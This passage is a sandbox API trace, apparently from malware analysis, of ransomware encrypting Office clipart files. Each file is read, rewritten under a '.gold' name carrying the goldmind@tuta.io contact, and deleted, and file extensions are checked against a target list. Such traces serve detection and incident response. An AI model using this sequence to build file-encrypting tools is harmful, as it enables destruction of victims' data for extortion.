3 [0053.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".dbf") returned 4 [0053.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".1cd") returned 4 [0053.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".jpg") returned 4 [0053.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.942] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.942] lstrlenW (lpString="BS00100_.WMF") returned 12 [0053.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.080] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2378) returned 1 [0055.080] CloseHandle (hObject=0x228) returned 1 [0055.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0055.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.092] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.092] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.104] GetLastError () returned 0x0 [0055.104] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x94a, lpOverlapped=0x0) returned 1 [0055.117] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x950, lpOverlapped=0x0) returned 1 [0055.118] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.118] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.118] SetEndOfFile (hFile=0x22c) returned 1 [0055.118] CloseHandle (hObject=0x22c) returned 1 [0055.118] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.118] SetEndOfFile (hFile=0x228) returned 1 [0055.119] CloseHandle (hObject=0x228) returned 1 [0055.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0055.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.119] lstrlenW (lpString=".doc") returned 4 [0055.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.119] lstrlenW (lpString=".docx") returned 5 [0055.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.119] lstrlenW (lpString=".pdf") returned 4 [0055.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".xls") returned 4 [0055.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.120] lstrlenW (lpString=".xlsx") returned 5 [0055.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.120] lstrlenW (lpString=".ppt") returned 4 [0055.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".zip") returned 4 [0055.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.120] lstrlenW (lpString=".rar") returned 4 [0055.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".bz2") returned 4 [0055.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".7z") returned 3 [0055.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".dbf") returned 4 [0055.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".1cd") returned 4 [0055.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".jpg") returned 4 [0055.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".doc") returned 4 [0055.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".docx") returned 5 [0055.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.120] lstrlenW (lpString=".pdf") returned 4 [0055.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".xls") returned 4 [0055.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.120] lstrlenW (lpString=".xlsx") returned 5 [0055.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.120] lstrlenW (lpString=".ppt") returned 4 [0055.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.120] lstrlenW (lpString=".zip") returned 4 [0055.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.120] lstrlenW (lpString=".rar") returned 4 [0055.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".bz2") returned 4 [0055.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.120] lstrlenW (lpString=".7z") returned 3 [0055.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.121] lstrlenW (lpString=".dbf") returned 4 [0055.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.121] lstrlenW (lpString=".1cd") returned 4 [0055.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0055.121] lstrlenW (lpString=".jpg") returned 4 [0055.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.121] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.121] lstrlenW (lpString="BS00438_.WMF") returned 12 [0055.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.123] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1212) returned 1 [0055.123] CloseHandle (hObject=0x228) returned 1 [0055.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0055.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.123] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.123] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.123] GetLastError () returned 0x0 [0055.123] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4bc, lpOverlapped=0x0) returned 1 [0055.124] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0055.125] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.125] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.125] SetEndOfFile (hFile=0x22c) returned 1 [0055.125] CloseHandle (hObject=0x22c) returned 1 [0055.125] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.125] SetEndOfFile (hFile=0x228) returned 1 [0055.126] CloseHandle (hObject=0x228) returned 1 [0055.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0055.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.126] lstrlenW (lpString=".doc") returned 4 [0055.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.126] lstrlenW (lpString=".docx") returned 5 [0055.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.127] lstrlenW (lpString=".pdf") returned 4 [0055.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".xls") returned 4 [0055.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.127] lstrlenW (lpString=".xlsx") returned 5 [0055.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.127] lstrlenW (lpString=".ppt") returned 4 [0055.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".zip") returned 4 [0055.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.127] lstrlenW (lpString=".rar") returned 4 [0055.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".bz2") returned 4 [0055.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".7z") returned 3 [0055.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".dbf") returned 4 [0055.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".1cd") returned 4 [0055.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".jpg") returned 4 [0055.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".doc") returned 4 [0055.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".docx") returned 5 [0055.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.127] lstrlenW (lpString=".pdf") returned 4 [0055.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".xls") returned 4 [0055.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.127] lstrlenW (lpString=".xlsx") returned 5 [0055.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.127] lstrlenW (lpString=".ppt") returned 4 [0055.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.127] lstrlenW (lpString=".zip") returned 4 [0055.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.127] lstrlenW (lpString=".rar") returned 4 [0055.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.127] lstrlenW (lpString=".bz2") returned 4 [0055.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.128] lstrlenW (lpString=".7z") returned 3 [0055.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.128] lstrlenW (lpString=".dbf") returned 4 [0055.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.128] lstrlenW (lpString=".1cd") returned 4 [0055.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0055.128] lstrlenW (lpString=".jpg") returned 4 [0055.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.128] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.128] lstrlenW (lpString="BS00439_.WMF") returned 12 [0055.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.129] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2052) returned 1 [0055.129] CloseHandle (hObject=0x228) returned 1 [0055.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0055.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.129] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.129] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.129] GetLastError () returned 0x0 [0055.129] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x804, lpOverlapped=0x0) returned 1 [0055.130] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x810, lpOverlapped=0x0) returned 1 [0055.131] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.131] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.131] SetEndOfFile (hFile=0x22c) returned 1 [0055.131] CloseHandle (hObject=0x22c) returned 1 [0055.131] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.131] SetEndOfFile (hFile=0x228) returned 1 [0055.132] CloseHandle (hObject=0x228) returned 1 [0055.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0055.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".doc") returned 4 [0055.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".docx") returned 5 [0055.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.133] lstrlenW (lpString=".pdf") returned 4 [0055.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".xls") returned 4 [0055.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.133] lstrlenW (lpString=".xlsx") returned 5 [0055.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.133] lstrlenW (lpString=".ppt") returned 4 [0055.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".zip") returned 4 [0055.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.133] lstrlenW (lpString=".rar") returned 4 [0055.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".bz2") returned 4 [0055.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".7z") returned 3 [0055.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".dbf") returned 4 [0055.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".1cd") returned 4 [0055.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".jpg") returned 4 [0055.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.133] lstrlenW (lpString=".doc") returned 4 [0055.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".docx") returned 5 [0055.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.133] lstrlenW (lpString=".pdf") returned 4 [0055.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString=".xls") returned 4 [0055.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.133] lstrlenW (lpString=".xlsx") returned 5 [0055.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.133] lstrlenW (lpString=".ppt") returned 4 [0055.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.134] lstrlenW (lpString=".zip") returned 4 [0055.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.134] lstrlenW (lpString=".rar") returned 4 [0055.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.134] lstrlenW (lpString=".bz2") returned 4 [0055.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.134] lstrlenW (lpString=".7z") returned 3 [0055.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.134] lstrlenW (lpString=".dbf") returned 4 [0055.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.134] lstrlenW (lpString=".1cd") returned 4 [0055.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0055.134] lstrlenW (lpString=".jpg") returned 4 [0055.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.134] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.134] lstrlenW (lpString="BS00440_.WMF") returned 12 